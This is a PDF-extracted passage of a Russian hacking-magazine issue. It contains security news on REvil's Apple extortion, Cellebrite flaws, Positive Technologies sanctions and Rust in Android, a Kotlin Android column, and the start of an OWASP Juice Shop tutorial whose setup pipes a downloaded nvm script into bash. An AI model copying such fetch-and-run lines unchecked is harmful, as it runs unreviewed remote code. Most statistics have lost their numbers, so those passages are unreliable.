В  час тнос ти,  аме рикан ский  Мин фин  заяв ляет,  что  Positive  Technologies
име ет  кли ентов  в  пра витель стве  Рос сии,  вклю чая  ФСБ,  а  так же  регуляр но
про водит круп номас штаб ные кон ферен ции, где ФСБ и ГРУ вер буют для себя
новых сот рудни ков.

Вско ре  пред ста вите ли  Positive  Technologies  опуб ликова ли  офи циаль ный
ответ,  в  котором  отвер гли  все  выд винутые  аме рикан ски ми  влас тями  обви‐ 
нения:

«Мы,  как  ком пания,  отверга ем  безос нователь ные  обви нения,  выд- 
винутые в наш адрес Минис терс твом финан сов США: за поч ти двад- 
цатилет нюю  исто рию  нашей  работы  нет  ни  одно го  фак та  исполь- 
зования  резуль татов  иссле дова тель ской  деятель нос ти  Positive  Tech-
nologies  вне  тра диций  этич ного  обме на  информа цией  с  про фес- 
сиональ ным ИБ‑сооб щес твом и проз рачно го ведения биз неса. 
... 
Мы искрен не счи таем, что геопо лити ка не дол жна являть ся прег радой
тех нологи чес кому раз витию общес тва, и со сво ей сто роны про дол жим
делать  то,  что  у  нас  хорошо  получа ется,  —  обес печивать  кибер- 
безопас ность и повышать кибер защищен ность во всем мире».

 ФАЛЬШИВЫХ БАНКОВСКИХ САЙТОВ1529

В пер вом квар тале 2021 года ана лити ки BI.ZONE обна ружи ли в рунете   фей ковых сай тов,
мас кировав шихся  под  ресур сы  раз личных  кре дит ных  орга низа ций.  По  срав нению  с  пер вым
квар талом  2020  года  чис ло  таких  ресур сов  уве личи лось  на  ,  а  за  весь  прош лый  год
экспер ты выяви ли око ло   под дель ных бан ков ских сай тов.
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По мне нию иссле дова телей, чис ло подоб ных ресур сов вырос ло из‐за пан демии и пов семес тно‐ 
го перехо да на уда лен ную работу, ведь это «самый дешевый и мас совый спо соб атак на граж‐ 
дан».

REVIL ШАНТАЖИРУЕТ
APPLE
Опе рато ры  вымога теля  REvil  пыта ются  шан тажиро вать  ком панию  Apple.
Хакеры  утвер жда ют,  что  получи ли  дан ные  о  про дук тах  Apple  пос ле  взло ма
тай вань ской  ком пании  Quanta  Computer.  Это  круп ней ший  в  мире  про изво‐ 
дитель ноут буков, а так же одна из нем ногих ком паний, которая собира ет про‐ 
дук ты  Apple  на  осно ве  пре дос тавлен ных  им  дизай нов  и  схем  (в  том  чис ле
Watch, Apple Macbook Air и Apple Macbook Pro).

Так  как  пред ста вите ли  пос тра дав шей  ком пании  отка зались  пла тить
хакерам,  опе рато ры  REvil  начали  обна родо вать  схе мы  и  чер тежи  про дук тов
Apple  на  сво ем  сай те.  Судя  по  все му,  хакеры  решили,  что  шан тажиро вать
одно го из основных кли ентов Quanta Computer может быть выгод нее. По дан‐ 
ным  СМИ,  ком пания  дол жна  была  вып латить  50  мил лионов  дол ларов
до 27 апре ля или 100 мил лионов дол ларов пос ле ука зан ной даты.

В общей слож ности на сай те зло умыш ленни ков был раз мещен 21 скрин шот
со схе мами Macbook, и хакеры обе щали вык ладывать новые дан ные каж дый
день,  пока  Apple  или Quanta  Computer  не  сог ласят ся  зап латить  выкуп.  «Мы
рекомен дуем Apple выкупить име ющиеся у нас дан ные до 1 мая», — угро жали
прес тупни ки.

В кон це апре ля изда ние Bleeping Computer сооб щило: в новом при ват ном
чате,  соз данном  для  перего воров  меж ду  REvil  и  Quanta  Computer,  хакеры
заяви ли,  что  ради  про дол жения  перего воров они  скры ли  стра ницу  со  «сли‐ 
вом»  дан ных,  а  так же  перес тали  общать ся  с  прес сой.  Пред ста вите ли  REvil
пишут, что, начав с ними диалог, ком пания «может рас счи тывать на хорошую
скид ку»: выкуп будет сни жен с 50 до 20 мил лионов дол ларов, а край ний срок
вып латы перене сен на 7 мая 2021 года.

Так же  хакеры  пре дуп редили,  что  если  они  вновь  не  получат  отве та,  то
вско ре  нач нут  пуб ликовать  чер тежи  нового  iPad  и  эски зы  новых  логоти пов
Apple.
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По дан ным жур налис тов, Quanta Computer так и не отве тила на это «щед рое
пред ложение». Пред ста вите ли Apple, в свою оче редь, говорят, что ком пания
изу чает дан ный инци дент, но пока не дает ком мента риев о слу чив шемся.

ПИРАТСКИЙ РЫНОК ПАДАЕТ
Group‐IB оце нила рынок интернет‐пиратс тва в Рос сии в 2020 году в   дол ларов, что
на   ниже показа телей 2019 года. По сло вам экспер тов, пираты не смог ли вос ста новить базу
виде окон тента  пос ле  лик видации  трех  круп ных  CDN,  потеря ли  на  рек ламе,  а  так же  борют ся
за зри теля с легаль ными онлайн‐киноте атра ми, нарас тивши ми ауди торию во вре мя пан демии.
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В 2020 году, в раз гар пан демии, общая ауди тория легаль ных виде осер висов вырос ла на  ,
то есть дос тигла отметки в   мил лиона зри телей, а сам рынок офи циаль ных онлайн‐киноте‐ 
атров уве личил ся на   до   мил лиар да руб лей.
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Но  количес тво  зап росов в поис ковых сис темах на прос мотр бес плат ных филь мов и  сери алов
по ито гам года вырос ло на   и сос тавило   мил лиар да (в 2019 году было   мил лиар‐ 
да).

12% 11,8 10,5

Ап рель 2020 года и вов се пос тавил абсо лют ный исто ричес кий рекорд по чис лу намере ний бес‐ 
плат но пос мотреть пират ские филь мы —   мил лиар да.1,4

Од нако рынок виде окон тента в прош лом году про дол жил сжи мать ся, потеряв  : с   мил‐ 
лиона дол ларов в 2019 году он опус тился до отметки   мил лионов дол ларов в 2020 году.

7% 63,5
59

Де ло  в  том,  что  сред ний  CPM  (Cost‐Per‐Mille,  цена  за  1000  показов  в  рек ламной  кам пании)
за год сни зил ся при мер но на   (c   дол ларов США) по срав нению с показа теля‐ 
ми  2019  года).  Ска зыва ется  инте рес  пра воох ранитель ных  орга нов,  финан совых  учрежде ний
и регуля торов к теневым финан совым потокам, онлайн‐казино и бук мекер ским кон торам.

16% 6 **до **5

МАРЛИНСПАЙК
КРИТИКУЕТ
CELLEBRITE
Соз датель  Signal,  извес тный  крип тограф,  хакер,  иссле дова тель  и  анар хист
Мок си Мар лин спайк (Moxie Marlinspike) изу чил про дук ты извес тной изра иль‐ 
ской  кибер кри мина лис тичес кой  ком пании  Cellebrite  и  выявил  ряд  проб лем
в  их  работе.  В  час тнос ти,  баги  поз волили  ему  выпол нить  вре донос ный  код
на  компь юте ре  под  управле нием Windows,  который исполь зовал ся  для  ана‐ 
лиза устрой ств.

Cellebrite  —  незави симые  кибер кри мина лис ты,  которые  спе циали зиру‐ 
ются на извле чении дан ных с мобиль ных устрой ств (iOS и Android). К при меру,
нес коль ко  лет  назад  изра иль скую  фир му  называ ли  основным  кан дидатом
на  роль  под рядчи ка  ФБР,  ког да  пра воох раните ли  иска ли  спе циалис тов
для взло ма iPhone тер рорис та. В целом Cellebrite не раз помога ла пра витель‐ 
ствам и пра воох ранитель ным орга нам со все го мира взла мывать кон фиско‐ 
ван ные мобиль ные телефо ны (в основном за счет исполь зования уяз вимос‐ 
тей, которые игно риро вали про изво дите ли устрой ств).

Как Мар лин спайк  получил  дос туп  к  обо рудо ванию Cellebrite,  неиз вес тно.
Сам он иро низи рует, что это про изош ло бла года ря «неверо ятно му сте чению
обсто ятель ств»:  яко бы  он  шел  по  ули це  и  «уви дел,  как  из  гру зови ка  выпал
неболь шой пакет» с логоти пом Cellebrite.

В бло ге Signal эксперт рас ска зал, что ПО Cellebrite ана лизи рует дан ные, пос‐ 
тупа ющие из ненадеж ного источни ка. То есть софт при нима ет инпут, который
может быть неп равиль но отформа тиро ван, а это может спро воци ровать пов‐ 
режде ния информа ции в памяти, что уже при ведет к выпол нению про изволь‐ 
ного кода в сис теме.

«Изу чая UFED и Physical Analyzer, мы были удив лены, обна ружив, что
безопас ности собс твен ного прог рам мно го обес печения Cellebrite уде- 
лялось  очень  мало  вни мания.  Отсутс тву ют  стан дар тные  в  отрасли
средс тва  защиты  от  экс пло итов,  зато  при сутс тву ет  мно жес тво  воз- 
можнос тей для экс плу ата ции», — пишет Мар лин спайк.

Так же иссле дова тель обна ружил,  что ПО Cellebrite исполь зует ста рый опен‐ 
сор сный исходный код,  который раз работ чики Cellebrite не обновля ли поч ти
десять  лет  (хотя  обновле ния  безопас ности  за  это  вре мя  не  раз  выходи ли).
В  ито ге  Мар лин спай ку  уда лось  запус тить  про изволь ный  код  на  машине
с Cellebrite, ког да та ана лизи рова ла спе циаль но под готов ленный файл на ска‐ 
ниру емом устрой стве.

«Вклю чив  спе циаль но  отформа тиро ван ный,  но  в  целом  безобид ный
файл  в  при ложе ние  на  устрой стве,  которое  затем  прос каниру ет
Cellebrite, мож но выпол нить код, который не толь ко пов лияет на отчет
Cellebrite,  соз дава емый  при  этом  ска ниро вании,  но  и  про изволь ным
обра зом  зат ронет  все  пре дыду щие  и  будущие  отче ты  Cellebrite,
со всех ранее прос каниро ван ных устрой ств и всех будущих устрой ств:
мож но  вста вить  или  уда лить  текст,  элек трон ную  поч ту,  фотог рафии,
кон такты, фай лы или любые дру гие дан ные. И все это без каких‑либо
обна ружи ваемых  вре мен ных  меток  или  проб лем  с  кон троль ной  сум- 
мой».

Кро ме  того,  Мар лин спайк  нашел  в  уста нов щике  для  Packet  Analyzer  пакеты
MSI с циф ровой под писью от Apple. Судя по все му, они извле кают ся из уста‐ 
нов щика  Windows  для  iTunes  12.9.0.167  и  содер жат  фай лы  DLL,  которые
помога ют ПО Cellebrite  вза имо дей ство вать  с  iOS‐устрой ства ми  и  извле кать
из них дан ные. 
Мар лин спайк  резюми рует,  что  он  с  радостью  пре дос тавит  раз работ чикам
Cellebrite под робные све дения обо всех уяз вимос тях, если в ответ ком пания
пос тупит  так же  со  все ми  уяз вимос тями,  которые она  исполь зует  для  сво их
сер висов «сей час и в будущем».

Пред ста вите ли  Cellebrite  сооб щили  СМИ,  что  ком пании  очень  важ на
«защищен ность и целос тность дан ных кли ентов», а так же завери ли, что «пос‐ 
тоян но про веря ют и обновля ют» свое прог рам мное обес печение. При этом
в  ком пании  никак  не  про ком менти рова ли  обна ружен ные  экспер том  проб‐ 
лемы,  а  так же  не  сооб щили,  име ла  ли  ком пания  раз решение  на  исполь‐ 
зование прог рам мно го обес печения Apple.

 ДОЛЛАРОВ ЗА ПОРТРЕТ ЭДВАРДА СНОУДЕНА5 500 000

Эд вард Сно уден прев ратил свой пор трет в NFT (нев заимо заме няемый токен) и наз вал эту циф‐ 
ровую  кар тину  Stay  Free.  Пор трет  сос тавлен  из  стра ниц  судеб ных  докумен тов,  в  которых
деятель ность АНБ и мас совая слеж ка приз наны наруша ющи ми закон.

NFT  про дали  на  бла гот воритель ном  аук ционе  за    ETH,  что  рав нялось  при мер но
  дол ларов  по  кур су  на  тот  момент.  Выручен ные  день ги  будут  переда ны  неком‐ 

мерчес кой  орга низа ции  «Фонд  сво боды  прес сы»  (Freedom  of  the  Press  Foundation),  которую
Сно уден воз глав ляет.

2224
5  500  000

RUST ДЛЯ ANDROID
Раз работ чики  Google  объ яви ли,  что  Android  получит  под дер жку  язы ка  Rust,
так  как  он  более  безопа сен  и  поз волит  пре дот вра тить  появ ление  оши бок,
свя зан ных  с  памятью.  Ради  это го  инже неры  Google  18  месяцев  работа ли
над  соз дани ем  раз личных  час тей  Android  Open  Source  Project  (AOSP)
с  помощью  Rust,  а  теперь  эту  ини циати ву  мас шта биру ют,  что бы  охва тить
боль ше аспектов ОС.

«Управля емые язы ки, такие как Java и Kotlin, — это опти маль ный вари- 
ант  для  раз работ ки  при ложе ний  для  Android.  ОС  Android  широко
исполь зует Java, эффектив но защищая боль шие час ти плат формы An-
droid  от  оши бок  памяти.  Но,  к  сожале нию,  для  ниж них  уров ней  ОС
Java и Kotlin не под ходят», — рас ска зыва ют в ком пании.

Де ло  в  том,  что  написан ный  на  C  и  C++  код  тре бует  хорошей  изо ляции
при  пар синге  ненадеж ных  вход ных  дан ных,  и  «сдер живание»  такого  кода
в жес тко огра ничен ной и неп ривиле гиро ван ной песоч нице может быть весь‐ 
ма  слож ным,  а  так же  вызывать  проб лемы и  допол нитель ное  исполь зование
памяти. 
Кро ме  того,  извес тно,  что  на  ошиб ки  безопас ности  памяти,  свя зан ные  с  C
и C++, при ходит ся при мер но 70% серь езных уяз вимос тей в Android. Поэто му
в  ито ге,  что бы  пре дот вра тить  появ ление  подоб ных  проб лем,  было  при нято
решение перек лючить ся на более безопас ный язык, такой как Rust.

При этом раз работ чики Google не намере ны перепи сывать весь сущес тву‐ 
ющий  код  на  C  и  C++,  вмес то  это го  они  сос редото чат  уси лия  на  недав но
изме нен ном  коде,  где  с  боль шей  веро ятностью  могут  воз никнуть  ошиб ки,
свя зан ные с памятью. В час тнос ти, на Rust пол ностью перепи шут Bluetooth‐
стек  Gabeldorsche,  а  так же  в  раз работ ке  уже  находит ся  сетевой  стек
для опен сор сной опе раци онной сис темы Fuchsia.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Май неры зло упот ребля ют инфраструк турой GitHub

Еще  одна  ата ка  на  цепоч ку  пос тавок:  смар тфо ны  Gigaset  пос тра дали  от  взло ма  сер вера
обновле ний

Раз работ чики PHP пре дуп редили о воз можной утеч ке дан ных

На Pwn2Own 2021 успешно взло маны Windows 10, Ubuntu, Safari, Chrome, Zoom и не толь ко

Сер вис TheOldNet поможет вспом нить интернет девянос тых

Эк спер ты утвер жда ют, что Valve дав но не может испра вить RCE‐уяз вимость в движ ке Source

ФБР уда лило веб‐шел лы с уяз вимых сер веров Microsoft Exchange, не сооб щив вла дель цам

760 мил лионов дол ларов, укра ден ные у Bitfinex в 2016 году, переве дены на дру гие кошель ки

Проб лемы у вла дель цев QNAP NAS: устрой ства ата кует вымога тель Qlocker

Взло ман менед жер паролей Passwordstate, которым поль зуют ся 29 тысяч ком паний

https://xakep.ru/2021/04/05/github-actions-mining/
https://xakep.ru/2021/04/07/gigaset-hack/
https://xakep.ru/2021/04/08/master-php-net/
https://xakep.ru/2021/04/09/pwn2own-2021/
https://xakep.ru/2021/04/13/theoldnet/
https://xakep.ru/2021/04/13/valve-source-rce/
https://xakep.ru/2021/04/14/fbi-vs-proxylogon/
https://xakep.ru/2021/04/16/bitfinex-money/
https://xakep.ru/2021/04/23/qlocker/
https://xakep.ru/2021/04/26/passwordstate/
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Се год ня  в  выпус ке:  пра виль ный  спо соб
сбо ра  Flow  из  UI‐ком понен тов,  советы,
как  сде лать  код  на  Kotlin  чище,  десять
полез ных  лай фха ков  и  снип петов  кода
на  все  слу чаи  жиз ни.  А  так же  объ ясне ние
сути  PendingIntent  и  под борка  биб лиотек
для раз работ чиков.

РАЗРАБОТЧИКУ

Правильный способ сбора Flow из UI-компонентов
  —  статья  о  том,  как  написать

с  исполь зовани ем  Kotlin  Flow  асин хрон ный  код,  который  не  будет  стра дать
от проб лем перерас хода ресур сов.

A  safer  way  to  collect  flows  from  Android  UIs

Сов ремен ный под ход к написа нию при ложе ний для Android выг лядит при‐ 
мер но  так:  слой  биз нес‐логики  выс тавля ет  наружу  suspend‐фун кции  и  про‐ 
дюсе ры  Flow,  а  UI‐ком понен ты  вызыва ют  suspend‐фун кции  или  под писыва‐ 
ются на Flow и обновля ют UI в соот ветс твии с при шед шими дан ными.

Выг лядеть это все может при мер но так. Фун кция — про дюсер обновле ний
мес тополо жения:

     
 

fun FusedLocationProviderClient.locationFlow() = callbackFlow<
Location> {
             val callback = object : LocationCallback() {

              override fun onLocationResult(result: LocationResult?) {
              result ?: return

                      try { offer(result.lastLocation) } catch(e: Exception) {}
       }
   }

       requestLocationUpdates(createLocationRequest(), callback, Looper.
getMainLooper())

            .addOnFailureListener { e ‐>
            close(e) // In case of exception, close the Flow

       }

     awaitClose {
       removeLocationUpdates(callback)
   }
}

Часть UI‐ком понен та, под писыва ющаяся на Flow:

 lifecycleScope.launchWhenStarted {
     locationProvider.locationFlow().collect {
       // Новое местоположение — обновляем UI
   }
}

На пер вый взгляд — все хорошо. Бла года ря исполь зованию 
мы научи ли код реаги ровать на изме нение жиз ненно го цик ла при ложе ния —
при ухо де при ложе ния в фон обра бот ка зна чений мес тополо жения будет при‐ 
оста нов лена. Но! Про дюсер Flow про дол жит отправ лять дан ные об обновле‐ 
нии мес тополо жения.

lifecycleScope

Что бы избе жать  такой  проб лемы, мож но  либо  самос тоятель но  запус кать
и оста нав ливать корути ну — обра бот чик Flow при изме нении жиз ненно го цик‐ 
ла  при ложе ния,  либо  исполь зовать 
из биб лиоте ки lifecycle‐runtime‐ktx вер сии 2.4.0‐alpha01.

lifecycleOwner.addRepeatingJob

 lifecycleOwner.addRepeatingJob(Lifecycle.State.STARTED) {
     locationProvider.locationFlow().collect {
       // Новое местоположение — обновляем UI
   }
}

Выг лядит  поч ти  так  же,  как  пре дыду щий  при мер.  Одна ко  в  дан ном  слу чае
корути на  будет  пол ностью  оста нов лена  при  перехо де  при ложе ния  в  любое
сос тояние,  отличное  от  ,  и  запуще на  сно ва
при перехо де в  это сос тояние. Вмес те с  ней будет оста нов лен и про дюсер
дан ных о мес тополо жении.

Lifecycle.State.STARTED

То го же эффекта мож но добить ся, исполь зуя suspend‐фун кцию 
:

repeatOn‐
Lifecycle

 lifecycleScope.launch {
     lifecycle.repeatOnLifecycle(Lifecycle.State.STARTED) {

        locationProvider.locationFlow().collect {
           // Новое местоположение — обновляем UI
       }
   }
}

Она удоб на в тех слу чаях, ког да перед сбо ром дан ных необ ходимо выпол нить
опре делен ную работу внут ри suspend‐фун кции.

Внут ри  эта  фун кция  исполь зует  опе ратор  ,
который мож но при менять нап рямую:

Flow.flowWithLifecycle

locationProvider.locationFlow()
     .flowWithLifecycle(this, Lifecycle.State.STARTED)
     .onEach {
       // Новое местоположение — обновляем UI
   }
   .launchIn(lifecycleScope)

По сути, все эти API — это более сов ремен ная и гиб кая замена LiveData.

Как сделать код чище
  —  хорошая  статья  о  том,  как  сде лать  код

на Kotlin чище, понят нее и однознач нее.
Noisy  Code  With  Kotlin  Scopes

 Мно гие прог раммис ты при вык ли исполь зовать
 в качес тве прос той и удоб ной аль тер нативы  :
Проб лема номер 1: let.

let if (x == null)

 fun deleteImage(){
              var imageFile : File ? = ...
    imageFile?.let {

      if(it.exists()) it.delete()
  }
}

Так  делать  не  сто ит.  Исполь зование   —  дур ной  тон,  потому  что  мно жес‐ 
твен ные   могут сме шать ся, если в коде появит ся еще одна подоб ная лям‐ 
бда. Ты можешь поп робовать испра вить это с помощью конс трук ции 

, но в ито ге сде лаешь еще хуже, потому что в той же
области видимос ти появит ся еще одна перемен ная, которая ссы лает ся на то
же зна чение, но име ет дру гое имя. И это имя надо будет при думать!

it
it

image‐
File?.let { image ‐>

На  самом  деле  в  боль шинс тве  слу чаев  испра вить  эту  проб лему  мож но
прос тым отка зом от  :let

 fun deleteImage(){
              val imageFile : File ? = ...
        if(imageFile != null) {

      if(imageFile.exists()) imageFile.delete()
  }
}

С этим кодом все в поряд ке. Умное при веде ние типов сде лает свою работу,
и  ты  смо жешь  ссы лать ся  на    пос ле  про вер ки  как  на  не  nullable‐
перемен ную.

imageFile

Но! Такой при ем не сра бота ет, если речь идет не о локаль ной перемен‐ 
ной, а о полях клас са. Из‐за того что поля клас са могут изме нять ся нес коль‐ 
кими  метода ми,  работа ющи ми  в  раз ных  потоках,  ком пилятор  не  смо жет
исполь зовать смар ткас тинг.

Как раз здесь и мож но исполь зовать  .let
Но  есть  и  более  необыч ные  спо собы.  Нап ример,  выходить  из  фун кции,

если зна чение поля null:

   fun deleteImage() {
             val imageFile = getImage() ?: return
   ...
}

Или исполь зовать метод  :takeIf

   fun deleteImage() {
          getImage()?.takeIf { it.exists }?.let {it.delete()}
}

Мож но даже ском биниро вать оба под хода:

   fun deleteImage() {
                  val image = getImage()?.takeIf { it.exists } ?: return
  image.delete()
}

  Син таксис  Kotlin  поощ ряет  исполь‐ 
зование лямбд вез де, где толь ко воз можно. Иног да это при водит к соз данию
весь ма монс тру озных конс трук ций:

Проб лема  номер  2:  also  и  apply.

   Intent(context, MyActivity::class.java).apply {
     putExtra("data", 123)
   addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)

     }).also { intent ‐>
     startActivity(this@FooActivity, intent)
}

Смысл такого кода в том, что бы огра ничить соз дание интента и его исполь‐ 
зование дву мя раз личны ми областя ми видимос ти, что в теории дол жно бла‐ 
гот ворно пов лиять на его модуль ность.

На  самом  деле  такие  конс трук ции  толь ко  зах ламля ют  код.  Гораз до  кра‐ 
сивее выг лядит его более пря моли ней ная вер сия:

         val intent = Intent(context, MyActivity::class.java).apply {
     putExtra("data", 123)
   addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
})
startActivity(this@FooActivity,intent)

А еще луч ше вынес ти код кон фигури рова ния объ екта в отдель ную фун кцию:

   fun startSomeActivity() {
   startActivity(getSomeIntent())
}

         fun getSomeIntent() = Intent(context, SomeActivity::class.java).apply
{
   // ...
}

 Рас простра нен ный при ем — исполь зовать фун‐ 
кцию   для обрамле ния бло ков кода:
Проб лема номер 3: run.

run

   val userName: String
     get() {

        preferenceManager.getInstance()?.run {
           getName()

            } ?: run {
           getString(R.string.stranger)
       }
   }

Это  абсо лют но  бес смыс ленное  зах ламле ние  кода.  Оно  зат рудня ет  чте ние
прос того по сво ей сути кода:

   val userName: String
           get() = preferenceManager.getInstance()?.getName() ?: getString(R
.string.stranger)

Ес ли  же  кода  в  бло ке  «если  null»  боль ше  одной  строч ки,  то  мож но  исполь‐ 
зовать такую конс трук цию:

 preferenceManager.getInstance()?.getName().orDefault {
           Log.w(“Name not found, returning default”)
   getString(R.string.stranger)
}

 В дан ном слу чае проб лема не в самой фун кции
,  а  в  ее  игно риро вании.  Раз работ чики  прос то  не  исполь зуют  эту  фун‐ 

кцию, нес мотря на всю ее кра соту:

Проб лема номер 4: with.

with

     val binding = MainLayoutBinding.inflate(layoutInflater)
 with(binding) {

       textName.text = "ch8n"
       textTwitter.text = "twitter@ch8n2"
})

При чин не исполь зовать ее обыч но две:
ее нель зя исполь зовать в цепоч ках вызовов фун кций;•
она пло хо дру жит с nullable‐перемен ными.•

Что такое PendingIntent
  —  статья,  объ ясня ющая,  что  такое  PendingIntent

и зачем он нужен. Будет полез на в свя зи с изме нени ями в обра бот ке Pending‐
Intent в Android 12.

All  About  PendingIntents

Ко рот ко говоря, PendingIntent — это объ ект — обер тка для Intent, который
поз воля ет  передать  Intent  дру гому  при ложе нию  с  целью  его  выпол нения
в будущем от име ни соз давше го Intent при ложе ния. PendingIntent, в час тнос‐ 
ти,  исполь зует ся,  что бы  ука зать  сис теме,  что  нуж но  сде лать  при  нажатии
на  уве дом ление.  В  этом  слу чае  сис тема  запус кает  интент,  ука зан ный
в PendingIntent, так, как буд то бы его запус тило соз давшее уве дом ление при‐ 
ложе ние.

Прос тей ший при мер:

       
 

val intent = Intent(applicationContext, MainActivity::class.java).
apply {
       action = NOTIFICATION_ACTION
       data = deepLink
}

     val pendingIntent = PendingIntent.getActivity(
   applicationContext,
   NOTIFICATION_REQUEST_CODE,
   intent,
   PendingIntent.FLAG_IMMUTABLE
)

     val notification = NotificationCompat.Builder(
       applicationContext,
       NOTIFICATION_CHANNEL
     ).apply {
       // ...
       setContentIntent(pendingIntent)
       // ...
   }.build()

notificationManager.notify(
   NOTIFICATION_TAG,
   NOTIFICATION_ID,
   notification
)

Сна чала  мы  соз даем  Intent,  а  затем  завора чива ем  его  в  PendingIntent.
С  помощью  фла га    мы  ука зыва ем,  что
не  хотим,  что бы  сис тема  или  кто‐либо  еще,  получив ший  дос туп  к  это му
PendingIntent,  мог  его  изме нить.  Такой  флаг  (или  флаг 

) обя затель но ука зывать в Android 12.

PendingIntent.FLAG_IMMUTABLE

PendingIntent.
FLAG_MUTABLE

При обновле нии уве дом ления мы дол жны будем ука зать допол нитель ный
флаг, что бы заменить ста рый PendingIntent новым:

   PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT

За чем же может понадо бить ся изме нение интента внут ри PendingIntent? Нап‐ 
ример,  для  соз дания  сис темы  пла гинов,  ког да  пла гин  переда ет  при ложе‐ 
нию‐хос ту PendingIntent и тот вно сит в него изме нения в соот ветс твии с вво‐ 
дом поль зовате ля.

Для  изме нения  PendingIntent  исполь зует ся  дос таточ но  стран ный  спо соб,
ког да методу   переда ется еще один интент, атри буты которо го ста новят‐ 
ся частью атри бутов ори гиналь ного интента:

send

       val intentWithExtrasToFill = Intent().apply {
    putExtra(EXTRA_CUSTOMER_MESSAGE, customerMessage)
}

mutablePendingIntent.send(
  applicationContext,
  PENDING_INTENT_CODE,
  intentWithExtrasToFill
)

Десять полезных лайфхаков
 — сбор ник малень ких полез ных фун‐ 

кций для Android‐раз работ чиков. Наибо лее инте рес ные:
Ten #AndroidLifeHacks You Can Use Today

•  Вмес то   луч ше при менять фун‐ 
кцию, которая не прос то мгно вен но скро ет view с экра на, а сде лает это с
ани маци ей. Фун кция    поз воля ет  сде лать  это идем потен тно  (мож но
вызывать сколь ко угод но раз под ряд, не сбра сывая ани мацию), с ука зани‐ 
ем про дол житель нос ти и конеч ной проз рачнос ти.

Фун кция fadeTo. View.setVisibility()

fadeTo

•   Прос тей шая  фун кция  —  рас ширение  Flow,
которая  сна чала  вызыва ет  ,  а  затем    (про‐ 
пус кать  оди нако вые  зна чения).  Код  фун кции  пред став ляет  собой  одну
строч ку:

Фун кция  mapDistinct.

map distinctUntilChanged()

                 
 

fun <T, V> Flow<T>.mapDistinct(mapper: suspend (T) ‐> V): Flow<V>
= map(mapper).distinctUntilChanged()

•   Фун кция‐делегат 
может  быть  очень  удоб ной,  ког да  необ ходимо  сле дить  за  изме нени ями
зна чения перемен ной. Но  чаще  тре бует ся  улав ливать  не  все изме нения,
а  толь ко  новые,  изме нив шиеся.  В  этом  слу чае  подой дет  фун кция

.

Уп рощен ный  Delegates.observable. observable

uniqueObservable
•  При раз работ ке при ложе ний на Kotlin час то тре‐ 
бует ся завер шить пре дыду щую корути ну перед запус ком сле дующей (нап‐ 
ример,  при  выпол нении  поис ка  или  обновле нии  экра на).  Упростить  эту
про цеду ру  мож но  с  помощью  ,  которая  при  запус ке  завер‐ 
шает пре дыду щую корути ну.

Пе реза пус каемая Job.

ConflatedJob

•   Мно гие  раз работ чики  исполь зуют  Timber
для  логиро вания.  Одна ко  делать  это  нап рямую  не  сов сем  удоб но,  при‐ 
ходит ся  писать  длин ные  стро ки  вро де  .  Что бы
облегчить себе жизнь, мож но при менить   для более удоб ной
работы с Timber:

Бо лее  удоб ный  Timber.

Timber.tag(TAG).i(…)
та кой делегат

   class MyClass {
    // This will automatically have the TAG "MyClass"
            private val log by timber()

        fun logSomething() {
        log.i("Hello")

         log.w(Exception(), "World")
    }
}

•  При раз работ ке час то тре бует ся пре обра зовать еди ницы DP
(Density‐independent  Pixels)  в  пик сели.  Для  это го  мож но  исполь зовать
такую фун кцию‐рас ширение:

Number.dp.

           
   

val Number.dp get() = toFloat() * (Resources.getSystem().
displayMetrics.densityDpi.toFloat() / DisplayMetrics.
DENSITY_DEFAULT)
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Bug bounty, то есть поиск уяз вимос тей ради
получе ния  наг рады,  ста новит ся  все  более
популяр ным. Перед начина ющим баг ханте‐ 
ром  час то  сто ит  задача  пот рениро вать ся
на  живом  при мере,  но  при  этом  ничего
не  сло мать  и  не  нарушить  закон.  В  этом
тебе  поможет  эта  статья  и  прек расный,
но очень уяз вимый интернет‐магазин соков
Juice Shop, соз данный в OWASP.

Ты  навер няка  слы шал  об    (Open  Web  Application  Security  Project).
Это откры тый неком мерчес кий фонд,  который занима ется воп росами обес‐ 
печения безопас ности  веб‐при ложе ний.  Кро ме  край не  популяр ного 

,  там  раз работа ли  и  пос тоян но  раз вива ют  очень  инте рес ный  про ект
, приз ванный про демонс три ровать самые час то встре чаемые уяз‐ 

вимос ти в при ложе ниях и «худ шие прак тики» веб‐раз работ ки. Этот магазин‐ 
чик — иде аль ный полигон для тре ниров ки и изу чения пен теста реаль ных при‐ 
ложе ний.  В  этой  статье  я  покажу,  как  его  ста вить,  запус кать  и  искать  свои
пер вые уяз вимос ти.

OWASP

OWASP
Top  10
Juice Shop

УСТАНОВКА И ЗАПУСК
Juice  Shop  под держи вает  ,  но  я  рекомен дую
исполь зовать локаль ный вари ант с Node.js. В вер сии Docker дос тупны не все
воз можные  уяз вимос ти,  кро ме  того,  неп лохо  научить ся  ста вить  Node.js
без рута и узнать, как исполь зовать одновре мен но нес коль ко раз ных вер сий.

раз ные  вари анты  уста нов ки

Установка Node.js
Juice  Shop  под держи вает  раз ные  ста биль ные  релизы  Node.js.  На  момент
написа ния статьи пос ледней LTS (Long Term Support) Node.js была 14 вер сия,
ее‐то мы и будем ста вить. Что бы не зах ламлять свою ОС пакета ми и иметь
воз можность исполь зовать раз ные релизы, был при думан 

. Он  уста нав лива ется в домаш нюю пап ку и поз воля ет  лег ко рулить вер‐ 
сиями.  Сей час  пос ледняя  вер сия —  0.38,  но  я  всег да  рекомен дую  схо дить
и  про верить  перед  уста нов кой.  Уста нов ка  выпол няет ся  одной  коман дой
в домаш ней пап ке.

Node Version Man‐
ager

 $curl ‐o‐ https://raw.githubusercontent.com/nvm‐sh/nvm/v0.38.0/
install.sh | bash 

Те перь  тебе нуж но открыть и  зак рыть  тер минал,  что бы вне сен ные скрип том
изме нения  при мени лись.  Про верь  уста нов ленную  вер сию  nvm  и  перехо ди
непос редс твен но к уста нов ке Node.js.

 $nvm ‐v
   $nvm install ‐‐lts

Про верь вер сию уста нов ленной коман ды node и запом ни ее.

 $node ‐‐version

Ес ли  тебе  понадо бит ся  нес коль ко  раз ных  вер сий  одновре мен но,  прос то
уста нови  нуж ные  и  выбирай  акту аль ную  по  необ ходимос ти  (эта  часть  уже
не нуж на для работы Juice Shop).

 $nvm install <номер версии> 
$nvm use <номер версии> 

Установка Juice Shop
